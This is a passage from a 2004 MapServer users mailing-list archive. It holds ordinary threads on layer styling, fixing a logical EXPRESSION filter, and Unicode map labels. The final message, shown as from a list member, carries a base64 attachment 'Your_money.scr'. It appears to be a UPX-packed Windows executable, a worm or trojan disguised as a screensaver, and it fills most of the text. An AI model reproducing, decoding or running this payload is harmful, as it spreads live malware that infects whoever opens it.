and then > to select "COM" in the other layer and style it a different way. > > I do this with street data so I can label the streets with text names > and also place route badges on the same streets. You have to do it with > two layers because want to put two different stylings on the same > object. Have two layers means you take two passes over the data once in > each layer. > > -Steve W. > > 1wilkerson at charter.net wrote: > > > Hi! > > > > I am still very much new to Mapserver and need help. Would somebody check my earlier message requesting help? I really could use some input. The message URL is: > > > > http://lists.gis.umn.edu/pipermail/mapserver-users/2004-June/013954.html > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From eduardo at consultoria.eti.br Wed Jun 16 10:38:20 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 16 Jun 2004 14:38:20 -0300 Subject: [Mapserver-users] Logical expression is not working :: SOLVED!!! In-Reply-To: <20040616164212.10784.qmail@hm47.locaweb.com.br> References: <20040616164212.10784.qmail@hm47.locaweb.com.br> Message-ID: <20040616173820.10425.qmail@hm47.locaweb.com.br> Hi guys, looking for "logical expression" at the list archive I found this: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0112/msg00033.html so, I made: EXPRESSION ('[TIP_CODIGO]' eq '08' AND [FLAGS]>0) # withou quotes around and it works. thanks all Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Wed, 16 Jun 2004 13:42:12 -0300, "Eduardo Patto Kanegae" escreveu: > De: "Eduardo Patto Kanegae" > Data: Wed, 16 Jun 2004 13:42:12 -0300 > Para: Eric Bridger > Assunto: Re: [Mapserver-users] Logical expression is not working > > YEs. > > I put as u told me: > > EXPRESSION "('[TIP_CODIGO]' eq 'XX' AND [FLAGS] > 0)" > > but no point appears. > > I also tried removing (): > EXPRESSION "'[TIP_CODIGO]' eq 'XX' AND [FLAGS] > 0" > > but it didn't work too. > > I've downloaded this binary ms 4.2 from www.maptools.org ( phpmapscript package) > > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver > I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > > ***Fim da Mensagem / End of Message *** > > > > > > On 16 Jun 2004 11:51:16 -0400, Eric Bridger escreveu: > > > De: Eric Bridger > > Data: 16 Jun 2004 11:51:16 -0400 > > Para: Eduardo Patto Kanegae > > Assunto: Re: [Mapserver-users] Logical expression is not working > > > > On Wed, 2004-06-16 at 11:07, Eduardo Patto Kanegae wrote: > > > I'm trying to display a point shapefile layer using logical expressions to classify the layer according to two field values but it's not working. > > > > > > my mapserver cgi is : > > > MapServer version 4.2.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > > > > ... > > > it works fine, but not works if I write: > > > > > > +++++++++ > > > LAYER > > > DATA "estabs" > > > NAME "estabs" > > > STATUS DEFAULT > > > TYPE POINT > > > UNITS METERS > > > CLASS > > > NAME "A?ougue" > > > EXPRESSION "(('[TIP_CODIGO]' eq '11') AND ([FLAGS] > 0))" > > > STYLE > > > COLOR 192 128 32 > > > MAXSIZE 15 > > > MINSIZE 5 > > > SIZE 15 > > > SYMBOL "SYM_ACOUGUE" > > > END > > > END > > > CLASS > > > NAME "Bar" > > > EXPRESSION "(('[TIP_CODIGO]' eq '13') AND ([FLAGS] > 0))" > > > STYLE > > > COLOR 92 192 252 > > > MAXSIZE 15 > > > MINSIZE 5 > > > SIZE 15 > > > SYMBOL "SYM_BAR" > > > END > > > END > > > END > > > +++++++++ > > > > > > it should be working, but I don't know what is wrong here...and no error log is being generated. > > > > > > Just a guess, but have you tried removing the extra parentheses? > > > > EXPRESSION "('[TIP_CODIGO]' eq '13' AND [FLAGS] > 0)" > > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From sdteffen at web.de Wed Jun 16 09:58:29 2004 From: sdteffen at web.de (Steffen Macke) Date: Wed, 16 Jun 2004 18:58:29 +0200 Subject: [Mapserver-users] language support In-Reply-To: <20040616170005.10988.97843.Mailman@lists.gis.umn.edu> References: <20040616170005.10988.97843.Mailman@lists.gis.umn.edu> Message-ID: <200406161858.29799.sdteffen@web.de> > Has anyone ever made an application using MapServer that uses = > non-english language on the labels of the map?=20 Have a look at DCMMS (especially the Arabic map labels section in the developer guide). It??s even using Arabic map labels with right-to-left text and Arabic character shaping. http://dcmms.sourceforge.net Perhaps you should consider storing your data in PostGIS (your database should use the UNICODE encoding). Your can recode your shapefile upon loading by setting the PGCLIENTENCODING enviroment variable. Once you have UNICODE text in PostGIS, all you have to do to get the map labels right is to use TrueType labels in your mapserver map. And, of course a UNICODE TrueType font with your characters. Steffen From steve.lime at dnr.state.mn.us Wed Jun 16 12:22:47 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 16 Jun 2004 13:22:47 -0600 Subject: [Mapserver-users] RE: Incoming Msg Message-ID: ----------gxpylwnxjppdhwtwsrph Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------gxpylwnxjppdhwtwsrph Content-Type: application/octet-stream; name="Your_money.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Your_money.scr" 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 